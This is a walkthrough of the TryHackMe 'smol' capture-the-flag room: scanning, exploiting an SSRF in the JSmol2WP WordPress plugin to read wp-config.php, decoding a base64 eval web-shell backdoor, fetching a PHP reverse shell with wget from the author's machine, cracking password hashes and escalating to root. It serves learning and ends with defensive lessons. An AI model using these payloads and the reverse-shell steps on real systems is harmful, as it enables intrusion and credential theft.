TryHackMe - smol
A Medium difficulty CTF on TryHackMe testing enumeration skills

Enumeration
Begin where we always begin, scan with nmap
. Note it will be handy, and probably necessary, to add the IP address of the machine to your /etc/hosts
file or equivalent. When we go to look at the web app in a browser, it's going to expect the domain to be smol.thm
in order to work.
➜ smol git:(main) ✗ nmap -sV -sC --open -p- -Pn www.smol.thm
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-14 23:27 PDT
Nmap scan report for www.smol.thm (10.10.187.199)
Host is up (0.14s latency).
Not shown: 65319 closed tcp ports (reset), 214 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: WordPress 6.7.1
|_http-title: AnotherCTF
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.30 seconds
Wordpress
When looking at a CTF machine running Wordpress, it's usually a vulnerable plugin or theme. wpscan
is a terrific tool for finding what's running (and likely vulnerable) on a given site install.
[+] jsmol2wp
| Location: http://www.smol.thm/wp-content/plugins/jsmol2wp/
| Latest Version: 1.07 (up to date)
| Last Updated: 2018-03-09T10:28:00.000Z
|
| Found By: Urls In Homepage (Passive Detection)
|
| [!] 2 vulnerabilities identified:
|
| [!] Title: JSmol2WP <= 1.07 - Unauthenticated Cross-Site Scripting (XSS)
| References:
| - https://wpscan.com/vulnerability/0bbf1542-6e00-4a68-97f6-48a7790d1c3e
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20462
| - https://www.cbiu.cc/2018/12/WordPress%E6%8F%92%E4%BB%B6jsmol2wp%E6%BC%8F%E6%B4%9E/#%E5%8F%8D%E5%B0%84%E6%80%A7XSS
|
| [!] Title: JSmol2WP <= 1.07 - Unauthenticated Server Side Request Forgery (SSRF)
| References:
| - https://wpscan.com/vulnerability/ad01dad9-12ff-404f-8718-9ebbd67bf611
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20463
| - https://www.cbiu.cc/2018/12/WordPress%E6%8F%92%E4%BB%B6jsmol2wp%E6%BC%8F%E6%B4%9E/#%E5%8F%8D%E5%B0%84%E6%80%A7XSS
|
| Version: 1.07 (100% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt
| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
| - http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt
It doesn't take a genius to know that if there is some part of a CTF that corresponds to the CTFs name or title, that's almost certainly going to be involved in one or more of the steps. (See tomghost, for example). What this SSRF vulnerability in JSmol2WP allows us to do is either cause the server to make requests to remote hosts, or read files elsewhere on the server's filesystem. Let's read wp-config.php
.
http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php
In wp-config.php
we find our first loot, a username and password for the WordPress database connection:
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', '<redacted>' );
/** Database password */
define( 'DB_PASSWORD', '<redacted>' );
Try The Loot
Although the username and password found in wp-config.php
should be for authenticating to the database service, it's all we've got so far, so let's try and log in to the admin area of the website. Turns out you can login as a WordPress user with those credentials, but now you've got to figure out what to do next.
Your options are limited with this account. You can upload media but there doesn't appear to be any way to trick it into uploading PHP, adding plugins, or otherwise injecting code. I spent a fair amount of time trying to think of other files we might want to read with the SSRF. /etc/passwd
always comes to mind, if for no other reason than to find out what user accounts there might be on the system:
think:x:1000:1000:,,,:/home/think:/bin/bash
xavi:x:1001:1001::/home/xavi:/bin/bash
diego:x:1002:1002::/home/diego:/bin/bash
gege:x:1003:1003::/home/gege:/bin/bash
That's going to be useful later on. Finally I decided to read the any other plugins, after all there is a hint in the room's description:
Enhancing the learning experience, Smol introduces a backdoored plugin, emphasizing the significance of meticulous code inspection before integrating third-party components.
A backdoored plugin sounds different than just a vulnerable plugin. That, coupled with the fact that there is a page we now have access to with wpuser
listing TODO items including inspecting plugin code, is a pretty strong hint. The only other plugin is a default one called hello.php
// This just echoes the chosen line, we'll position it later.
function hello_dolly() {
eval(base64_decode('CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA='));
That doesn't look normal, so it's certainly promising. Base64 decoding that string gives us the code that will be eval
'd:
if (isset($_GET["\143\155\x64"])) { system($_GET["\143\x6d\144"]); }
"\143\155\x64"
= "cmd"
=
"\143\x6d\144""cmd"
So this will execute the contents of a query parameter named cmd
on any page that executes the hello.php
plugin, perfect!
http://www.smol.thm/wp-admin/edit.php?cmd=ls
I tried being clever and fitting a reverse shell in to the query parameter, but in the end I determined the system had wget
installed, so I had it fetch a php-reverse-shell.php
from my attack machine's handy temporary python web server.
http://www.smol.thm/wp-admin/edit.php?cmd=wget+http%3A%2F%2F10.2.28.106%3A8080%2Fphp-reverse-shell.php
➜ smol git:(main) ✗ python -m http.server -b 10.2.28.106 8080
Serving HTTP on 10.2.28.106 port 8080 (http://10.2.28.106:8080/) ...
10.10.196.3 - - [02/Apr/2025 00:05:48] "GET /php-reverse-shell.php HTTP/1.1" 200 -
attack machine's web server
We're In
➜ smol git:(main) ✗ nc -lvp 4444
listening on [any] 4444 ...
connect to [10.2.28.106] from www.smol.thm [10.10.196.3] 57570
Linux smol 5.4.0-156-generic #173-Ubuntu SMP Tue Jul 11 07:25:22 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
07:08:11 up 1:04, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
attack machine listening for reverse shell
You'll want to upgrade your shell for the next part with something like python3 -c 'import pty; pty.spawn("/bin/bash")'
so that we can interact with mysql
.
Dump the wp_users
Table
mysql> select * from wp_users;
select * from wp_users;
+----+------------+------------------------------------+---------------+--------------------+---------------------+---------------------+---------------------+-------------+------------------------+
| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+--------------------+---------------------+---------------------+---------------------+-------------+------------------------+
| 1 | admin | $P$<redacted> | admin | admin@smol.thm | http://www.smol.thm | 2023-08-16 06:58:30 | | 0 | admin |
| 2 | wpuser | $P$<redacted> | wp | wp@smol.thm | http://smol.thm | 2023-08-16 11:04:07 | | 0 | wordpress user |
| 3 | think | $P$<redacted> | think | josemlwdf@smol.thm | http://smol.thm | 2023-08-16 15:01:02 | | 0 | Jose Mario Llado Marti |
| 4 | gege | $P$<redacted> | gege | gege@smol.thm | http://smol.thm | 2023-08-17 20:18:50 | | 0 | gege |
| 5 | diego | $P$<redacted> | diego | diego@local | http://smol.thm | 2023-08-17 20:19:15 | | 0 | diego |
| 6 | xavi | $P$<redacted> | xavi | xavi@smol.thm | http://smol.thm | 2023-08-17 20:20:01 | | 0 | xavi |
+----+------------+------------------------------------+---------------+--------------------+---------------------+---------------------+---------------------+-------------+------------------------+
6 rows in set (0.00 sec)
So now we have WordPress users and hashed passwords. We already know wpuser
's password, but maybe if we can crack the others' we'll have more loot.
Crack WordPress Passwords
Generally I think John the Ripper runs faster on my crappy laptop, but I often forget how to convert various formats necessary so I just ran hashcat
and went to sleep.
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 400 (phpass)
Hash.Target......: hashes.txt
Time.Started.....: Wed Apr 2 01:09:26 2025 (5 hours, 10 mins)
Time.Estimated...: Wed Apr 2 06:19:43 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 3172 H/s (4.26ms) @ Accel:64 Loops:512 Thr:1 Vec:8
Recovered........: 2/6 (33.33%) Digests (total), 1/6 (16.67%) Digests (new), 2/6 (33.33%) Salts
Progress.........: 86066310/86066310 (100.00%)
Rejected.........: 0/86066310 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:5 Amplifier:0-1 Iteration:7680-8192
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[206b72697374656e616e6e65] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Temp: 81c Util: 97%
Started: Wed Apr 2 01:09:24 2025
Stopped: Wed Apr 2 06:19:45 2025
You'll see in the above output that 2 were recovered. This is because I did a test run using the password I found for wpuser
to make sure I had my setup and parameters right before waiting 4+ hours for results. The other recovered password is for one of the other accounts so now we can try that password elsewhere.
Pivot to diego
, Find user.txt
$ su diego
Password: <redacted>
And we've found our first flag in diego
's home directory:
cat user.txt
45edaec653ff9ee06236b7ce72b86963
Now we're going to look around for privilege escalation or further pivoting to other users.
Pivot to think
think
's ~.ssh/id_rsa
file is readable, so grab that and then ssh
to the host as that user. You can use whatever method of getting files you want, ftp or HTTP upload to your attack machine, etc.
➜ smol git:(main) ✗ ssh -i id_rsa think@www.smol.thm
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-156-generic x86_64)
think@smol:~$ whoami
think
ssh to target using private key of think
If nothing else now we have a first class shell and a way to get back in more easily than invoking a reverse shell. I did some of the usual poking around looking for privilege escalation or other information but nothing really panned out.
Eventually we find a backup file that looks familiar: /opt/wp_backup.sql
. In that file we find more hashed passwords, and use hashcat
again, hoping to crack another user's password and hoping that password will be useful for something other than logging in to the WordPress site.
More Loot
We crack another password , which appears to be for the user gege
but it's not their password to the server. Instead we also find another back up file in gege
's home directory called wordpress.old.zip
. It is password protected, and lo and behold, the newly cracked password works on it.
Finally root
via xavi
In the wordpress.old.zip
is yet another wp-config.php
😂 and in it another password, apparently for xavi
. We can pivot to xavi
and try our luck. I always check for sudo
capabilities, which usually require re-entering the user's password, which we have for this case:
xavi@smol:~$ sudo -l
[sudo] password for xavi:
Matching Defaults entries for xavi on smol:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User xavi may run the following commands on smol:
(ALL : ALL) ALL
xavi@smol:~$ sudo su
root@smol:/home/xavi$ whoami
root
Welp there we go, now we have root.txt
and the last flag.
Conclusion
- Don't re-use passwords across use cases
- Don't use passwords that can be found in password lists
- Be careful with loose permissions
- Don't trust 3rd party code that's going to execute on your site without review